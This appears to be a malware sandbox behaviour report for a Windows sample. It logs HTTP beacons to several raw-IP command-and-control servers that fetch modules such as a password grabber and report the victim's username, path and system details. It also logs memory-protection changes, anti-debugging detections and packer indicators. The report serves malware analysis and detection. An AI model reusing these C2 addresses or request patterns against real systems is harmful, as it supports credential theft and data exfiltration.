__exception__ Aug. 18, 2021, 6:27 p.m.	stacktrace: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd New_ntdll_RtlDispatchException+0xfa New_ntdll_RtlRemoveVectoredContinueHandler-0x8d @ 0x74e86d97 KiUserExceptionDispatcher+0x2e KiRaiseUserExceptionDispatcher-0x45 ntdll+0x51278 @ 0x77951278 RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a @ 0x77919a5a RtlVirtualUnwind+0x37 RtlRestoreContext-0x19 kernel32+0x4b5e7 @ 0x7724b5e7 stacktrace+0x1d1 memdup-0x62 @ 0x74e705bd hook_in_monitor+0x45 lde-0x133 @ 0x74e642ea New_ntdll_NtAllocateVirtualMemory+0x34 New_ntdll_NtClose-0x162 @ 0x74e7fc86 VirtualAllocExNuma+0x66 VirtualAllocEx-0x2a kernelbase+0x33096 @ 0x7fefde63096 VirtualAllocEx+0x16 WriteProcessMemory-0x1a kernelbase+0x330d6 @ 0x7fefde630d6 VirtualAllocEx+0x11 VerLanguageNameW-0xf kernel32+0x4bbe1 @ 0x7724bbe1 0x9de64 exception.instruction_r: 48 8b 01 4a 89 44 c6 78 4d 85 e4 74 08 4b 89 8c exception.symbol: RtlVirtualUnwind+0x14a RtlCheckForOrphanedCriticalSections-0x356 ntdll+0x19a5a exception.instruction: mov rax, qword ptr [rcx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 105050 exception.address: 0x77919a5a registers.r14: 837074272 registers.r15: 1889696 registers.rcx: 26 registers.rsi: 1889280 registers.r10: 0 registers.rbx: 3 registers.rsp: 1888888 registers.r11: -126 registers.r8: 3 registers.r9: 1961945856 registers.rdx: 3 registers.r12: 851717296 registers.rbp: 2 registers.rdi: 40 registers.rax: 4 registers.r13: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (36 events)

suspicious_features	Connection to IP address	suspicious_request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
suspicious_features	Connection to IP address	suspicious_request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/zF5zHLV9nBzvVHjFPdZjvLx/
suspicious_features	Connection to IP address	suspicious_request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/path/C:%5CUsers%5Ctest22%5CAppData%5CRoaming%5CArhCat73DPHX%5Cxbbsnaw83e8cf2a243447619488f24e84d65eb5nl.dmo/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://5.152.175.57/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/pwgrabb64/
suspicious_features	Connection to IP address	suspicious_request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
suspicious_features	Connection to IP address	suspicious_request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/h8zlsX8sa38PHhoy/
suspicious_features	Connection to IP address	suspicious_request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/RYNKRQCNNCUY/7/
suspicious_features	Connection to IP address	suspicious_request	GET https://221.147.172.5/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/pwgrabc64/
suspicious_features	Connection to IP address	suspicious_request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
suspicious_features	Connection to IP address	suspicious_request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/LK2c37b09qxNBUkpLCrYdxdkz7tfut6M/
suspicious_features	Connection to IP address	suspicious_request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://105.27.205.34/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/pwgrabb64/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/WByrVNYXwVS0xvipEFhPw6UY5D/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/CVMRSJRCBP/7/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/ZVNJTVDPHZFVJVT/7/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/23/100019/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/DNSBL/listed/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/1/YkrUQD7ewgKNrHyiATlvSD2usH/
suspicious_features	Connection to IP address	suspicious_request	GET https://221.147.172.5/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/networkDll64/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/hl9JBBpXZ7jPlvflrH1hT/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/1/7J3JXVPFjlzld5JHRlJjP3z/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/286902/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/pwgrabc/sTart%20Run%20D%20failed/0/
suspicious_features	Connection to IP address	suspicious_request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/networkDll64/reload1/0/

Performs some HTTP requests (37 events)

request	GET http://api.ipify.org/?format=text
request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/zF5zHLV9nBzvVHjFPdZjvLx/
request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/path/C:%5CUsers%5Ctest22%5CAppData%5CRoaming%5CArhCat73DPHX%5Cxbbsnaw83e8cf2a243447619488f24e84d65eb5nl.dmo/0/
request	GET https://179.189.229.254/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
request	GET https://5.152.175.57/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/pwgrabb64/
request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/h8zlsX8sa38PHhoy/
request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
request	GET https://24.162.214.166/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/RYNKRQCNNCUY/7/
request	GET https://221.147.172.5/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/pwgrabc64/
request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/LK2c37b09qxNBUkpLCrYdxdkz7tfut6M/
request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
request	GET https://46.99.175.217/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
request	GET https://105.27.205.34/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/pwgrabb64/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/file/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/WByrVNYXwVS0xvipEFhPw6UY5D/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/exc/E:%200xc0000005%20A:%200x0000000077919A5A/0/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/user/test22/0/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/NAT%20status/client%20is%20behind%20NAT/0/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/CVMRSJRCBP/7/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/ZVNJTVDPHZFVJVT/7/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/23/100019/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/DNSBL/listed/0/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/1/YkrUQD7ewgKNrHyiATlvSD2usH/
request	GET https://221.147.172.5/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/5/networkDll64/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/hl9JBBpXZ7jPlvflrH1hT/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/1/7J3JXVPFjlzld5JHRlJjP3z/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/10/62/286902/0/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/pwgrabc/sTart%20Run%20D%20failed/0/
request	GET https://60.51.47.65/rob122/TEST22-PC_W617601.99307735BA11F0E33B6B5DD6287F4F23/14/networkDll64/reload1/0/

Allocates read-write-execute memory (usually to unpack itself) (20 events)

Time & API	Arguments	Status	Return
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10045000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f91000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f71000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f51000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73ee0000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x737d1000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e21000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x737d2000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73721000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 233472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00890000 allocation_type: 12289 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 278528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00980000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10000000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ae0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ae1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02130000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory Aug. 18, 2021, 6:25 p.m.	process_identifier: 1312 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000390000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1	0

A process attempted to delay the analysis task. (1 event)

description

wermgr.exe tried to sleep 127 seconds, actually delayed analysis time by 127 seconds

Looks up the external IP address (1 event)

domain

api.ipify.org

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe
cmdline	C:\Windows\system32\svchost.exe

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Aug. 18, 2021, 6:32 p.m.	process_identifier: 2620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8192 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00941000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 18, 2021, 6:25 p.m.	flags: 15 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0004e000', u'virtual_address': u'0x0005e000', u'entropy': 7.453452317479631, u'name': u'.rsrc', u'virtual_size': u'0x0004d3dc'}

entropy

7.45345231748

description

A section with a high entropy has been found

entropy

0.448275862069

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 18, 2021, 6:25 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (24 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Terminates another process (8 events)

Time & API	Arguments	Status
